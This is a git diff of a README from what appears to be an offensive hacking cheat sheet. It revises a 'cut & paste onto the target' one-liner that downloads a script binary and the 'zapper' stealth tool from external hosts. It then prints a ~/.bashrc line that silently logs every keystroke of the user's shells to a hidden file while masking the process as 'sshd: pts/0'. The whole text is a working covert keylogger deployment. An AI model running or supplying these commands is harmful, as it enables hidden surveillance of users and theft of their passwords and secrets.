diff --git a/README.md b/README.md index aa753dc..e326505 100644 --- a/README.md +++ b/README.md @@ -1893,13 +1893,12 @@ A 1-liner for `~/.bashrc` to sniff the user's keystrokes and save them to `~/.co Deploy: Cut & paste the following onto the target and follow the instructions: ```sh command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \ -&& { mkdir -p ~/.config/.pty 2>/dev/null; [ $(uname -m) == aarch64 ] && s=aarch64_arm64; :; } \ -&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/${s:-x86_64}_Linux/Baseutils/script" \ -&& chmod 755 ~/.config/.pty/pty \ -&& curl -o ~/.config/.pty/ini -fsSL https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m) \ -&& chmod 755 ~/.config/.pty/ini \ -&& echo 'SUCCESS. Add this to the ~/.bashrc:' \ -&& echo -e '\e[0;35m[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m' +&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \ +&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/script" \ +&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \ +&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \ +&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \ +&& echo -e '[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m' ``` - Combined with zapper to hide command options from the process list.